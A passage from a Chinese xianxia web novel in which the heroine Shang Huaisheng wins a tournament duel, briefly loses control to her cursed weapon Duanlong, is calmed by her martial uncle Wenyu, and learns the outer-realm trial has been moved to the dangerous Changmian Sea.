这些商怀笙自然是没有发现,元妄都看在眼里。自日曜城商怀笙险些失控时,他心底便埋下担忧的种子,在如今严峻的局势下快速破土发芽,如巨树般让心脏蒙上阴翳。 商怀笙浑然不觉,还在嘟囔着这里的饭菜没有四水阁的好吃,太虚殿的人虽然还没有成神,但天天喝露水吃空气,离神已经很近了。 元妄被她逗笑,提议午后带她去伙房瞧瞧,看能不能找到食材亲自下厨。 元妄手艺不比秦湫,但这些年照顾商怀笙,随便一做也比得上人界酒楼,商怀笙咽了下口水,道:“咱们不是在避风头吗?” 元妄扬眉,“怕什么?谁家好人去伙房打架?” 商怀笙稍作思索,言之有理—— 刚找到镇化山的伙房,商怀笙便被人堵住了去路。 “在下天工阁常嘉石,还请道友赐教。” 来者是个五大三粗的汉子,身高目测得有两米,剑眉络腮胡,双目圆睁,肌肉虬结,手里握着一把大锤,锤柄比商怀笙的小臂还粗。 商怀笙还没吃上饭,本不想和他打架,但是听到天工阁的名号,心生犹豫,常嘉石又举起自己的玉牌,足有七块。 打赢了他,接下来一天半她都不用再打架了。 商怀笙眼珠一转,朝他招招手,“来吧,速战速决,我还要去吃饭呢。” 元妄微顿,“怀笙……” 商怀笙冲他笑笑,捏碎结界珠,“师兄,你先去瞧瞧,给我煮碗面条。” 话音刚落,结界便将二人阻隔开来,商怀笙扎进衣袖,打量着常嘉石,作出应战的姿势,“请。” “呵!” 常嘉石怒喝一声,浑身肌肉暴涨,青筋如虬龙般蠕动,那看似千斤的巨锤在他手中轻巧如玩具,带着万钧之势砸向商怀笙,锤风所过之处,空气爆鸣,地面都被犁出一道沟壑。 结界内巨风呼啸,飞沙走石迷了商怀笙的眼睛,看着巨锤朝自己飞来,商怀笙心中盘算着自己有多大的把握能徒手接下这一锤。 接下倒是可以,但看常嘉石这个力道,怕是会很痛。 商怀笙转变策略,身形沓樰獨家諍裡如柳絮般轻盈飘起,足尖轻点锤面,借力向常嘉石袭去,与此同时右手食指与中指并拢,指尖冒出金色灵光,凭空化作巨大的拳头砸向常嘉石。 常嘉石下意识抬起右臂抵挡,就在拳头即将落在他身上之时,他忽的将身一闪,竟瞬间移到了刚才商怀笙所站的位置,接下了自己的巨锤。 商怀笙扑了个空,脚尖点地落下,急急地收回力量,没想到他看着笨重,轻功竟也是极好的,刚才的假意抵挡只不过是放出来的烟雾弹。 “早听闻道友轻功极佳,善于防守。”常嘉石狞笑一声,再次举起巨锤,“可我这雷霆万钧也不是吃素的!” 他握紧锤柄,丝丝雷电之力缠绕上锤头,化作一条雷龙直扑向商怀笙,商怀笙脸色微变,双手快速结印,“镜花水月,立!” 她身前出现一面水镜,雷龙撞入镜中,霎时间消失的无影无踪,常嘉石通孔微缩,很快反应过来,唇角露出嘲讽的笑意,“这点小把戏也想挡住我的雷龙?” 他以锤震地,大地震荡,水镜突然破碎,被困其中的雷龙破镜而出,再次直冲商怀笙而来。 商怀笙深吸一口气,双手合十,想要作出屏障来抵挡,刚念起咒语,忽的颈上刺痛,像有一股电流刺入血液,她身形一晃,竟觉得浑身无力,刚聚起的灵力也全然溃散。 屏障没能聚起,眼看雷龙已经近在咫尺,商怀笙心一横,手臂交叉挡在胸前。 “砰——!” “轰隆——” 结界中发出雷电声响,电光火石间,薄雾涌起,将里面的一切都遮蔽其中,商怀笙喷出一口鲜血,身形后退数步,堪堪稳住身形。 “你竟敢徒手接我的雷龙,倒是有几分胆识,可惜太不自量力!”常嘉石见她弯下腰,语调讥讽,“才过了三招,看来你也没有旁人说的那么厉害。你的玉牌我便笑纳了。” 常嘉石收起雷电之力,朝着商怀笙走去,商怀笙一动不动,半蹲在地面,好像已经陷入了昏迷。 常嘉石伸出手,正要拿她腰间的玉牌,却听见噼里啪啦的稀碎声响,像是秋夜里的静电,很快这声音越来越大,滋滋作响,常嘉石低头看向自己的巨锤,以为是自己没有收力,锤面却并无异常。 “你说谁自不量力呢?” 商怀笙缓缓站起,抬起右臂,刺目的蓝白色电光在她手臂上跳跃,发出“噼啪”的爆鸣,空气中弥漫开浓烈的焦糊气味。 常嘉石变了脸色,露出真正的畏惧之色,目光投向结界外,带着求救的意味,“你,你竟然吸收了我的雷龙?你、你是什么怪物?” “怪物?” 熟悉的字眼刺激着商怀笙的神经,她唇角扬起一抹轻笑,簪在发间的断龙弥漫出淡到几乎看不见的血雾,将两人笼罩起来。 常嘉石预感到危险的气息,下意识地往后退,商怀笙单手握住他的灵器,轻轻用力,留下两个深深的指痕,在常嘉石恐惧的目光中,她眼底浮现出一抹异样的深红。 “你不是想打吗?那就好好打一场吧。” 第46章 第四十六章 多谢师叔 预感到危险的时候, 常嘉石本能地想要逃跑,就像是被深林中某种强大而残暴的生物,而他已经成为猎物, 无处可逃。 他紧紧抓着自己的巨锤, 想要夺回自己的武器,却感受到一股刺骨的冰寒,常嘉石心慌无比, 下一秒便被一股巨大的力量狠狠弹开,连退数步,撞上结界边缘。 “噗——!” 常嘉石吐出一口鲜血,惊骇地看着手握巨锤,缓缓朝他走来的商怀笙。 她眼底的深红色更加明显,原本白皙清丽的脸庞被一种诡异的暗红色纹路覆盖, 像是某种细虫游走在她的肌肤之下, 眨眼的功夫却又不见了踪影, 她俯视着半跪在地上的常嘉石,如同在俯瞰蝼蚁般漠然。 救、救命——! 常嘉石看向结界外, 发出求救的信号, 依稀可见结界外已经聚集起不少人,但他们不清楚里面的状况,自然也看不到商怀笙的异常,只当是局势逆转, 正兴冲冲地看戏。 常嘉石捂住胸口, 双臂剧痛欲折, 刚才商怀笙爆发出的力量似乎震碎了他的五脏六腑,他重重咳嗦一声,不断吐出鲜血。 商怀笙握着锤柄, 像在把玩一件刚到手的玩意儿,她抬起锤头,常嘉石绝望地张大眼睛,想要控制自己的灵器,却迟迟不能和它取得联系,像是被强行切断一样,他感受不到自己的灵器。 “这么快就不行了吗?真无趣。” 商怀笙抬手,高高举起大锤,以足以开山裂石的巨力落下,直逼常嘉石头顶。 生死攸关的时刻,常嘉石爆发出体内全部的力量,强撑着疼痛转身,躲过了这致命一击。 巨锤落在结界之上,只听“轰——”的一声,结界如冰晶碎裂,刹那间化作齑粉,消散于空中。 这一变故也惊呆了众人,亲眼见到结界碎裂,他们都陷入疑惑中,元妄率先察觉出不对劲,瞥见商怀笙手臂上一闪而过的暗红色细纹,他的心提到嗓子眼。 商怀笙失控了! 她刚刚接触断龙的时候,便有这样的情况,但那时有宋良白在场,且她年岁尚小,只是短暂地爆发出一阵巨力,便很快陷入沉睡中。 不行,不能被大家发现商怀笙的情况。 结界已碎,这次比拼应当到此结束,可商怀笙依然握着巨锤,不顾周围震惊的眼神,面带冷笑朝着常嘉石走去,常嘉石手脚并用在地上乱爬,目光在人群中焦急地搜寻。 “救、救我……”他流了一地的鲜血,忽然锁定一个方向,目光亮起,像是看到救星,伸出右手,虚弱地喊道,“救……” 不等他爬向人群,商怀笙已经再次举起锤,上下扫视这个在她手下垂死挣扎地蝼蚁,将目光放在了他的腿上,露出了残忍的微笑。 “怀笙——!!”元妄推开人群,冲上前来,不带任何犹豫按住了她的肩膀,小声道,“怀笙,已经结束了,快住手!” “……” 商怀笙身体一僵,转过脸来,眼底已是一片深红,空洞失焦,宛如旋涡一般,她似是在打量着元妄。 那是他从未见过的陌生眼神,从前的商怀笙狡黠俏皮,看他的眼神中总是充满着信任与依赖,把他当成亲人一般。 可眼前的商怀笙笑得瘆人,像是看到了新的猎物,明明一动不动的,元妄却觉得自己的身体已经被毒蛇缠绕。 “怀、怀笙,我是师兄啊。” “……师兄?” 商怀笙歪头,目光天真无邪,却又带着一丝嗜血的残忍,她放下巨锤,将目光转到元妄搭在自己肩膀的手臂上,元妄听到她牙齿磨动的声音。 趁着这个机会,常嘉石飞速爬上人群,被前来的天工阁弟子救起,他指着商怀笙大喊,“她是怪物,怪物!” 怪物。 商怀笙眼睫微动,再次看向声音的来源。 “快,快杀了她!”常嘉石说着,夺过同门手中的暗器,扣动扳机,一直金光灿灿的飞箭朝商怀笙袭来。 “怀笙小心!”元妄心中一慌,下意识地将商怀笙挡在身后,他闭上眼睛,预想中的疼痛却没有袭来。 “天工阁弟子就这么输不起吗?” 熟悉的声音传来,沉稳有力,元妄一直不喜问玉,但在听到他声音的这一刻,他暗暗松了一口气。 光箭被问玉握在手中,食指中指一用力便折成两半,他看向躲在人群后的常嘉石,冷笑一声,“仅仅是因为输了比赛便要暗箭伤人,小人做派。” 在场许多修士都没弄清楚状况,听他说的这样义正言辞,又亲眼看到常嘉石放箭,便真以为是他输不起,纷纷议论起来。 常嘉石服了护心丹,稍稍恢复点力气,指着被元妄护在身后的商怀笙,喊道:“是她被妖魔附体了,我看到她的眼睛变成了红色!她身上还有魔纹!她想杀了我!” 此话一出,全场哗然,纷纷看向商怀笙。 商怀笙一副状况之外的目光,定定地盯着问玉,似乎有莫大的兴趣。 问玉伸手将她拉过来,二人接触的瞬间,商怀笙便如脱力一般,倒在问玉怀中。 问玉捧着她的脸,商怀笙眨着眼睛,似乎马上就要睡着,而她的眼眸已经恢复原状,身上也并无任何异样。 “不仅输不起,还要造谣伤人?天工阁这代弟子竟然如此卑劣。” “你——!” 常嘉石正欲反驳,被一只大手拦下,他愤愤抬眸,看到李迎灯的瞬间,神色瞬间变得乖顺,“师兄。” 李迎灯扬起礼貌的笑意,拿过常嘉石的玉牌,亲自上前交给问玉,“是我宗门弟子学艺不精,还请道长见谅。” 问玉回眸给了一个眼神,元妄上前接下,李迎灯低头看向已经被砸出千疮百孔的巨锤,眸底闪过一丝惊愕,面上还是保持着微笑。 “商道友似乎也受了严重的伤,若有任何问题,天工阁会承担责任。” “这就不必你担心了。”问玉拍了下商怀笙的肩膀,哄小孩子一般,“睡吧。” 商怀笙缓缓闭上眼睛,彻底失去意识,问玉抱着她离开,人群自动让出一条道路来。 待三人走远,看热闹的人也逐渐散去,常嘉石被两个弟子搀扶着,满心不悦,“师兄,那家伙真的是怪物,我分明看到了她好似入魔一样!” “只有你看到有什么用!蠢货!”李迎灯瞪他一眼,“我让你试探她的实力,没让你闹成这样,连灵器都能被抢走!” 常嘉石不敢回嘴,低垂着脑袋,“师弟知错了。” 旁边的师弟为他打抱不平,“常师兄伤成这样,那家伙一点事没有,刚才大家都看到了她要对常嘉石下死手,难道不算违反规则吗?” 李迎灯捏捏眉心,压抑着心底浮起的慌张,“问玉他素来护短,他都来了,你难道还想跟他作对不成?” “到底也只是个合灵期而已,师兄你的修为说不定在他之上。” “合灵期,呵,有几个合灵期的人能在风眼妖群里活着出来?” “……” 众人都不再说话,李迎灯命人带走将常嘉石的巨锤带走,一行人如丧家犬般匆匆逃离。 * 荣春小筑。 “怀笙她从前也有过这样的情况,小时候……” 元妄盯着问玉与商怀笙紧握的双手,心中涌起一种微妙的感觉。 问玉整个人都在散发着淡淡的荧光,像是沐浴在圣光中,温和,神圣。 他似乎在向商怀笙传输某种力量,随着商怀笙气息变得平稳,他的脸色也愈发苍白。 “我早说过,断龙这种嗜血神器,不是谁都能驾驭的。”问玉语气里带着淡淡的责怪的意味,看着商怀笙的目光却异常柔和。 元妄久经情场,他太熟悉那种眼神,心中警铃大作,忍不住提醒问玉,“多谢师叔出手相助。” 他刻意指出问玉的身份,对方却不为所动,明明运气已经结束,他还是没有松开商怀笙的手。 元妄又道:“不过怀笙作为四水阁弟子,待在您房间总是不妥的,我现在就把她带回去……” “她若是再有异常,你知道该怎么做吗?” 冷冷的一句话,让元妄瞬间哑口无言:他知道,知道问玉是目前唯一能安抚商怀笙的人。 元妄呆站着,看问玉的眼神中多了一些复杂的情绪,“可是师叔,您是师叔。” 他已经将话摆在了明面上,问玉的神色也有一瞬的变化,他扣住商怀笙的手腕,挑眉道:“那又如何?” 房间内的氛围变得严肃且凝重,似乎冒出了火药味。 元妄深吸一口气,抬眸对上他的视线,眼神淡漠,“师叔,怀笙素来直率,不喜欢牵扯进他人的感情中。” “……” 问玉瞳孔微颤,缓缓松开商怀笙的手。 他才不在意什么身份地位的差距,就算商怀笙是妖是魔,只要是他喜欢的,他便绝不会松手。 那段缺失的记忆,才是他不敢面对自己感情的原因。 究竟是何人破了他道身,他与那人有怎样的渊源,有没有彻底的结束……都是困扰他的心魔。 而且他已经失了贞洁,就算他处理好这些事情,商怀笙这样的性子,也不知道愿不愿意接受已经不够完整的他。 问玉活了一百多年,从没想过有朝一日自己竟然会为这种事情纠结惆怅,夜夜不得安眠。 不敢靠近,也不舍得放手。 问玉垂眸,眼神眷恋地扫过商怀笙的脸颊,起身道:“你将她带回去吧,我不确定她现在是否已经稳定,保险起见你让她同宿的弟子先搬离,在她周围设下结界,一旦有异动一定要第一时间告诉我。” “是。”元妄上前,将商怀笙抱起,“多谢师叔。” 第47章 第四十七章 这里。 商怀笙听到有人在叫她, 那个声音时而苍老沙哑,时而清冷低沉,断断续续地叫她的名字, 商怀笙想要回应它, 却没办法张开嘴。 那声音逐渐变得不耐烦起来,急促地像是在追逐他,商怀笙心道我是开不了口, 又不是故意不理你的,你急什么? 就在她再次尝试开口的时候,眼前忽的闪过一张血肉模糊的脸,唯有一双眼睛炯炯有神,半是怨恨半是不甘地盯着她。 “还给我……”他张开嘴,像是十八层地狱里爬出来的恶鬼。 商怀笙心脏一颤, 猛然惊醒过来。 “你醒了?做噩梦了?” 一只温热的手抚上她的额头, 商怀笙睁开眼睛, 有些迷茫,转头看见问玉, 一袭白衣坐在她床前, 清冷如谪仙一样的人,正担忧地看向她。 商怀笙眨眨眼,开口道:“你怎么在这儿?” 问玉收回手,脸上的担忧消失, 又变成那副冷淡模样, “看来你状态不错。” “我头疼, 脖子也疼。”商怀笙说着,想抬起手,却发现手上拴着什么东西, 低头才发现问玉的右手和她紧握着。 问玉不自在地抿唇,解释道:“你被断龙控制,昨夜已经稳住了,但凌晨不知怎么又发作,所以我才在这里。” “你的手怎么在发光啊?”商怀笙颇为好奇,她稍一用力,感受到问玉的骨节,有暖暖的感觉传过来,像冬天的时候烤火炉一样。 “不许动。”问玉严肃地说,“你现在感觉如何?” “头有点晕。” 商怀笙想起刚才那个梦,梦里的声音那样真实,那张脸出现在她面前时,她都能数清对方的睫毛,那双怨愤的眸中,倒映着她幼时的脸颊。 是她曾经杀过的人吗?商怀笙记不清了。 她摇摇脑袋,问玉又把手搭上她的额头,替她轻揉着太阳穴,商怀笙只觉得头疼有所缓解,发应过来后,她露出惊恐的神色。 问玉疯了?竟然对她这么温柔? 难道她被夺舍了? “我没疯。”问玉的食指在她脑袋上轻点一下,收回手,语气有几分无奈,“别用这种眼神看着我。” “我表现得很明显吗?”商怀笙不好意思地笑笑,“师叔你继续,你按的还挺舒服的。” 被断龙控制的时候,商怀笙其实有自己的意识,她感觉自己像是被困笼中的斗兽,轻微的负面情绪都会被无限放大,轻易便会被激怒,理智封存,变成遵循本能的野兽。 也许因为她骨子里就是残忍嗜杀的人,看着常嘉石败在自己手中,她不急于直接杀了他,而是慢慢折磨,看他如蝼蚁一般痛苦挣扎。 问玉握住她的时候,好像有一道无形的结界将她的那些阴暗残忍的想法都笼罩起来,慢慢推回到内心深处,轻柔的,不令人讨厌。 商怀笙不由得想起在日曜城的时候,问玉也是这样安抚了她,心中多了几分好奇,“师叔,你是用什么法子安抚断龙的,是镇魂咒之类的东西吗?” 问玉没有立即回答,眼神有几分闪躲,刚才商怀笙问他的手为什么发光的时候,他便在刻意地回避这个问题。 他本体非人,这件事只有年玉和宋良白知道……他能告诉商怀笙吗? 她看起来不像是能保守秘密的样子, “其实我……” “笃笃——” “怀笙,醒了吗?” 门外传来沙巧的声音,打断了问玉的声音,他起身开门,却见沙巧身后还跟了一个人。 问玉眼神暗了暗,侧身让二人进来。 “见过问玉道长。” “见过师叔祖。” 陆雪青冲他点头示意,便大步朝着里屋迈去,沙巧没想到他也在这里,有些拘束,缓步跟在问玉身后。 商怀笙握着问玉的时候只觉得手心暖暖的,没有旁的感觉,问玉一走她脑子又开始混沌起来,听见一点声音都觉得刺耳,空气中的熏香都让她觉得恶心烦躁。 “怀笙,你怎么样了?” 见陆雪青过来,商怀笙强忍着不适,挤出笑脸,“我没什么事。” 陆雪青满脸的担忧神色,“我给你把把脉?” 商怀笙把手伸了出去,他的手指搭过来,瞬间皱起眉头,“怀笙你的脉象好乱……小叙发病的时候,都没有这么乱的脉象。” “哈哈,是吧。”商怀笙头晕的快要吐了,她咬着牙,克制想要挥拳砸床的冲动。 见问玉走过来,商怀笙立马探出身子,身后把他拉过来,再次握住他,像是快要溺水时终于呼吸到空气,那股不适感才消失。 呼——舒服了。 商怀笙长舒一口气,抬头对上目瞪口呆的两人,由衷地露出笑容,“师叔给我疗伤呢。” “……” 陆雪青的手还搭在她腕上,的确能感觉那一瞬间她的脉象恢复了平稳。 从前他给商叙治病的时候略学过一些医术,虽不够精通,但也知道这样急速的变化不同寻常。 陆雪青抬眸,与问玉视线交汇的瞬间,在他素来沉静如深潭般的眼眸中,感到一丝异样的情绪,一闪而过,却又让人无法忽视。 看上去像是商怀笙强硬地抓住了他的手,问玉不情不愿,但在陆雪青的视线中,问玉蜷起手指,僵硬片刻,坦然地覆在商怀笙的手背上。 “她情况不太稳定。” 问玉说,仿佛他是最了解商怀笙的人一样,旁人都排斥在侧。 陆雪青垂下眼睫,收回手,应了一声,“有问玉道长在,想必不会有什么问题。” 日曜城分离的时候,他们还是一副争锋相对的模样,随时随地都能吵起来,可突然就变得亲密无间……也并不突然,问玉对外人总是一副仙风道骨的清冷模样,唯有在与商怀笙拌嘴时会有普通人的鲜活。 陆雪青不敢再细想,扬起笑容,对商怀笙道:“你这次击败了常嘉石,得了他的九块玉牌,现与清溪门的连周衡并列榜首。” 商怀笙有些意外,“常嘉石那里居然这么多玉牌吗?” “天工阁最新一代的弟子中,数他和李迎灯最有实力。”沙巧回答,带着几分揶揄的笑意,“怀笙,你这次可出名了。” 商怀笙扬眉,第一反应是质疑,“常嘉石和李迎灯?他有这个本事?” 沙巧愣了下,没明白她这个“他”指的是谁,便道:“天工阁虽然以锻造为主,但实力也是不容小觑的,上一届九天盛会,天工阁派出的都是刚入门的弟子,也都有亮眼的表现。” “既然如此有实力,上一届为何还输给了凌盛?” 商怀笙记得上一届魁首是凌盛,他那时似乎才十六七岁,在弟子论道拔得头筹,一举成名。 “上一届李迎灯和常嘉石并未参加。”沙巧说,“不只是李迎灯他们,天机阁的何穆竹,太虚殿的何朝兰,都是合灵期修士中的佼佼者,这些人半只脚已经踏入了悟道期的门槛,也都未参加。” 商怀笙笑道,“也就是说,凌盛那个第一,只不过是矮子里面拔高个得的?” 沙巧:“也不能这么说,凌盛当时只在结器期,能打败诸多合灵期修士,也是实力超群。” 商怀笙哦了一声,“反正他是进不了决赛了。” 她言语中有几分小得意,沙巧与陆雪青都忍不住笑了出来,问玉也很轻地勾了下唇角,佯装责怪道:“凌盛年轻气盛,你让他丢了面子,算是与他结下了梁子。” “我与他的梁子在日曜城便结下了。”商怀笙满不在乎地说。 沙巧又同她聊了聊她昏睡这段时间发生的事情,以及宗门间的小八卦,碍于问玉在这里,许多劲爆的事情她都没好意思说,只挑了些不咸不淡的小事,听得商怀笙也没有太高的兴致,聊了没多久便昏昏欲睡。 她打了个哈欠,沙巧便要拉着陆雪青离开,陆雪青犹犹豫豫,从袖口掏出一个香囊来,“听元妄道长说你有时睡不安稳,我便从南宫师姐那里要了些助眠的药材,做了这个香囊,你放于枕下,会睡得好些。” “多谢你。” 商怀笙伸手去接,问玉的手指动了动,她瞥见陆雪青脸上一晃而过的失落神色,动作有几分迟疑。 沙巧拼命对她挤眉弄眼,商怀笙愣了半晌,松开问玉的手,双手接过,又一次道谢,“谢谢你。” “不用谢。” 陆雪青抿唇露出一个浅淡的笑意,又叮嘱了几句,才恋恋不舍地随着沙巧离开。 商怀笙将香囊挂在床头,又伸手去找问玉的手,摸了个空,抬头才发现他把手缩回了袖中。 商怀笙撇撇嘴,“师叔,我头晕。” “你当我是火炉?随随便便想用就用?”问玉抱起胳膊,往外侧挪了两步,冷脸道,“男女授受不亲。” 现在知道说男女授受不亲了? 她睡着的时候可是问玉主动握着她的! 商怀笙轻声嘟囔几句,表达不满,不过她也的确没有刚才那么难受了,她捏了捏脖颈,忽的想起自己意识混沌之前,脖子好像被针扎了一样感到刺痛。 商怀笙把这件事告诉问玉,问玉脸色骤变,俯身看向她脖颈,“哪里?” “这里。”商怀笙指了指,侧过头,露出那一截光滑白皙的脖颈。 “……” 问玉一顿,方觉出这样不妥,慌乱地收回目光,站回原处。 “看不出来异常。”他移开视线,喉中犹如被火球滚过,口干舌燥,“你和常嘉石对战时,还有别的异常吗?” 商怀笙仔细想了想,常嘉石与她打斗的时候,目光似乎一直在向结界外张望,“是不是他与李迎灯串通好了来对付我?” 问玉思索片刻,点头道:“不排除这种可能。” 商怀笙皱眉,“这群人真是不要脸。打不过我就玩阴的,我真该一锤子砸在常嘉石头上。” “那样可就算是犯规了。”问玉说着,语气又变得严肃起来,“商怀笙,你现在已经达到了参加决赛的条件,你确定要参加吗?” 商怀笙闻言抬头,眼中闪烁着天真的光芒,“我当然要参加啊,不然我辛苦拿玉牌是为了什么?” “可你现在的情况不稳定。” 问玉低头看向她发髻上的断龙,昨天之后断龙倒是很安静,完全不像是刚刚反噬过剑主的模样,可问玉依然能感受到它身上蠢蠢欲动的焦躁与暴戾。 这次九天盛会准备给优胜者的奖励,是一件来自长眠海的神器,这或许就是断龙最近异常的原因。 问玉不想专横地阻止商怀笙去参赛,只是客观地告诉她事实,“如果你在决赛中被断龙反噬失控,可能会被当场控制起来。你也知道,断龙虽是神器,但毕竟曾是残暴杀神的武器,你又有非比寻常的怪力,万一被当成是杀神重现……” 商怀笙眨眨眼睛,抬眸看向他,“我会吗?” “……” “不会。”问玉的语气中多了几分坚定,他微微弯腰,搭上商怀笙的手,“有我在,不会有事的,只要你想,你就可以参加。” 第48章 第四十八章 我要借你们凌枫院的聚魂灯…… 商怀笙听到自己心跳的声音, 那样的激烈,完全不受她控制,仿佛她马上就要溺死在问玉那双淬星般的眼眸中。 脸颊微微发烫, 商怀笙低头, 把他的手拨开,“你都这么说了,我当然要参加的, 不是说不能给你和师父丢脸嘛。” 问玉欣慰地笑笑,“这样才对。但在这之前,你要答应我,一旦察觉自己身体有异常,一定要立即停下来。” “嗯嗯,知道了。” 商怀笙心乱如麻, 满脑子都是刚才问玉说的话和他说话时的神情。 即便俩人曾经有过更加亲密的时刻, 却都不如刚才那句话让她动容, 像狠狠地在她心上砸了一锤子,莫名地情绪涌上来, 溢满了胸腔。 好奇怪。 商怀笙抓耳挠腮, 有些无措,就像是站在漏水的小船里,看着水漫上来,却不知道该怎么处理。 问玉只当她是紧张, 又轻声安慰道:“你不用担心, 中途弃赛也是可以的, 你有十二枚玉牌,可以直接参加境外试炼。” “嗯……知道了。” 商怀笙撇过脑袋,不敢看他的眼睛。 * 三日的自由竞技结束, 最终产生了十七位获得决赛资格的弟子,经太虚殿确认后,决赛将在两日后进行。 这次产生的十七位弟子陌生又熟悉,熟悉在他们都是大家耳熟能详的各大宗门的天之骄子,曾经都在九天盛会有过傲人的表现,陌生在他们已经多年未曾参加过弟子论道,一直处在一个旁观者的位置。 在公布决赛名单的同时,太虚殿也公布了这次九天盛会最终的奖励,来自长眠海的上古神器——神皇弓。 此物一出,所有弟子都沸腾了。 修真界已近三百年没有出过神器了,当年的诸神混战之后,长眠海便成了禁忌之地,众人虽然知道里面埋藏着诸多神器,但是无人敢踏足。 如今神器再现,便也意味着新的机遇出现,一旦他们找到能深入长眠海的道路,蒙尘的神器能够重临世间,或许天道也会再次眷顾人类,度化出新的神灵。 公告发布后,整个镇化山都进入了一种癫狂的状态,每个人脸上都洋溢着即将得道成仙的笑意与期待,又小心翼翼地隐藏着自己急功近利的心思,做出满不在乎的模样。 连一向在修炼上循规蹈矩的丰宝都展现出几分失态,口中念叨着“长眠海”“神陨之地”“天劫”等等词汇,眼中带着异样的光芒。 丰宝也在进入决赛的十七位弟子当中,上一届他败在金田手下,这次却能成为四水阁唯二进入决赛的弟子之一,三山宗则只有宋惜光一人,丰宝信心大增,整个人都变得得意起来。 不过,商怀笙作为另一个进入决赛的人,这也就意味着丰宝有可能会和她对战,自从得知商怀笙一跃三阶后,丰宝便对商怀笙的实力有了更深的认识,不免担心会和她成为对手。 丰宝心里担忧,倒也没有藏着掖着,坦然地告诉了商怀笙,“如果对上你,我肯定赢不了。” 商怀笙点点头,“话说的没错,但你能进入决赛,已经有很大的进步了,师兄会为你骄傲的。” 丰宝白她一眼,露出无奈的神色“你是一点都不知道谦虚。” 商怀笙笑出两排小白牙,“我实话实说。” 傅秀轩忍俊不禁,拍着丰宝的肩膀说,“名单刚出来的时候,这小子在后院大呼小叫,非常担心会和你对上。” 丰宝被拆穿心事,大喝一声,“说什么呢!这十六个人里面,对上哪一个都是我倒霉……也只有宋惜光可以战一战。” 四水阁与三山宗之间的仇恨是刻进骨子里的,输给其他人顶多算学艺不精,输给宋惜光那真的要成为宗门罪人了。 “何朝兰,何穆竹,茉沁……乖乖,这几个人都多少年没参加过九天盛会了。”沙巧盯着名单,啧啧称奇,“看来他们早就知道最后的奖励是神皇弓了,所以才会来参加。” “那可是长眠海发现的神器!神皇弓,听着就威武霸气!”丰宝两眼放光。 傅秀轩道:“神皇弓是当年水神的灵器之一,故有呼风唤雨,掌控世间河川海洋的能力,的确很珍贵。” 傅秀轩的知识储备是几人中最丰富的,几十年的书没白读,她对对当年诸神混战的事情了如指掌,商怀笙不喜欢读书,更别说是那些冗长又枯燥的历史,对于当年那几十个神仙的大混战更是没有半点兴趣。 管他们当初如何呼风唤雨,现在也已经神陨,不入轮回,彻底消散在天地之间。 商怀笙手中已有神器,桀骜不训如断龙,也没有他们说的那般出神入化,撼天动地,但既然对手里面有三山宗的人,商怀笙便定要拿下这一局。 别的都是虚的,证明四水阁比三山宗强才是真的。 商怀笙认真休养,每日都在练问玉交给自己的清心诀,只待决赛开始。 但决赛没等到,却等来了境外试炼提前的消息:取消弟子论道决赛,十七位胜者直接进入境外试炼,每人可以自行挑选至多五位队友,入境前需得签下生死契,此去凶险,后果自负。 消息一出,镇化山又一次沸腾了,期待声混杂着骂声,乱作一团。 连太虚殿主殿日升天阁都难逃一劫,十余位宗门话事人齐聚,对决赛取消且境外试炼突然提前一事表达不解。 “历年弟子论道都会选出优胜者,偏偏今年处处都不同,不仅规则更改,更是连决赛都没有了?” “境外试炼今年才重启,就生出这么多事端来,虽说这九天盛会是太虚殿主办,但你们这般胡来,究竟有没有将其他人放在眼里!” “不仅不提前公布规则,到现在连神器的面都没见过,你们究竟想做什么!” 抗议声音最大的当属双月岛与清溪门,两家主事出了名的心直口快,脾气急躁,若放在平时早就有人出言安抚了,但他们所问的也是众人在意的,所以不仅无人开口权威,还有人跟着应和。 凌云坐在问玉身侧,也急得心痒痒,但他身份特殊,太虚殿是他妻子的娘家,若此时跟着质疑,被婴琉知道他又要睡书房了。 “陈兄,这次的事情你怎么看?”凌云小声地跟问玉讨论,“我此前听说,境外试炼本该在决赛结束后七日内开启,突然提前,是不是有什么猫腻?” 问玉正闭目养神,似乎完全不关心这件事,眼皮都没抬一下,道:“太虚殿自然有他们的考量,说不定是天机阁的人又算出来了什么东西。” 凌云点点头,觉得他说的有道理,但还是觉得奇怪,“连生死契都拿出来了,可见此番十分凶险。” “神器在前,再怎么险恶,也会有人向前。” “你说得对,但是……” “咳。”太轩一声轻咳,殿中的气氛瞬间冷了三分。 “如诸位道友所言,此次临时更改赛制,是我们思虑不周。” 他的声音轻缓,慢条斯理,虽是在承认错误,却听不出丝毫的歉意。 问玉的目光投向太轩的方向,被罩在黑袍中的神秘的脸庞,在他的记忆中已经变得十分模糊,他几乎记不清对方的样子,但对那双浮漫着金光的眼眸印象深刻。 太轩修行千年,是当年那场混战中为数不多的见证者与幸存者。 问玉的思绪飘回从前,凌云戳了下他的肩膀,将他的注意力拉回来。 太轩说完,便由天机阁阁主解无欢解释: “在我们的卜算中,通向长眠海冻林的大门将于七日后开启,决赛结束后可供各门派弟子修整三日,再进行境外试炼。” “但情况有变,昨夜星象巨变,天机阁群星仪与日月盘异动,种种迹象显示,通道将会提前开启,并将持续近一个月的时间,这是近千年来,冻林的结界第一次出现裂缝,一旦错过这次机会,下一次便是遥遥无期。” “出于种种考虑,我们决定将境外试炼提前。” 解无欢话音落下,殿内陷入死一般的沉寂。 良久的沉默之后,凌云开口问询道:“所以你们的意思是,这次境外试炼的地点在长眠海?” 解无欢遥遥看了他一眼,凌云挺直腰板,与他对望,“长眠海凶险,修仙界皆知,连照例的巡逻都只在长眠海外围,冻林位于海底,有深海炼狱之称,曾是仙界关押罪大恶极的妖魔邪神之处……你们的意思,是要我们的弟子,去那种地方?” 解无欢沉默片刻,道,“是否参加本次试炼,各位道友可自行决定,太虚殿与天机阁会尽最大的努力保护各位,但毕竟前路凶险,请各位转告各宗门弟子,慎重考虑。” “这不就是选一群无辜弟子去替你们开路吗?” 凌云说完,本以为大家也是同样的想法,可是其他人纹丝不动,甚至出现了若有所思的神色,似乎认可了天机阁的解释。 解无欢早预料到这样的情况,轻轻勾起唇角,嘲笑着凌云的单纯。 凌云握起拳,眼中写满不甘,愤愤不平之时,问玉搭上他的肩膀,抬眸对上解无欢,道:“你们所承诺的神皇弓,不会就在这冻林之中吧?” 解无欢神色一顿,众人也都露出质疑的神色,他的迟疑已经说明了答案。 问玉勾起唇角,面露嘲讽,“还未到手便拿来做奖励,九天盛会什么时候变成草台班子了?” 解无欢紧张地滚了滚喉结,瞥向一旁的太轩,见后者并无反应,强撑着冷静,解释道:“我们已经掌握了神皇弓的具体位置。” “连大门开启的时间都不能掌握,却能掌握神器的具体位置?”问玉啧了一声,语调轻蔑,“自打解阁主继任以来,天机阁真是……” 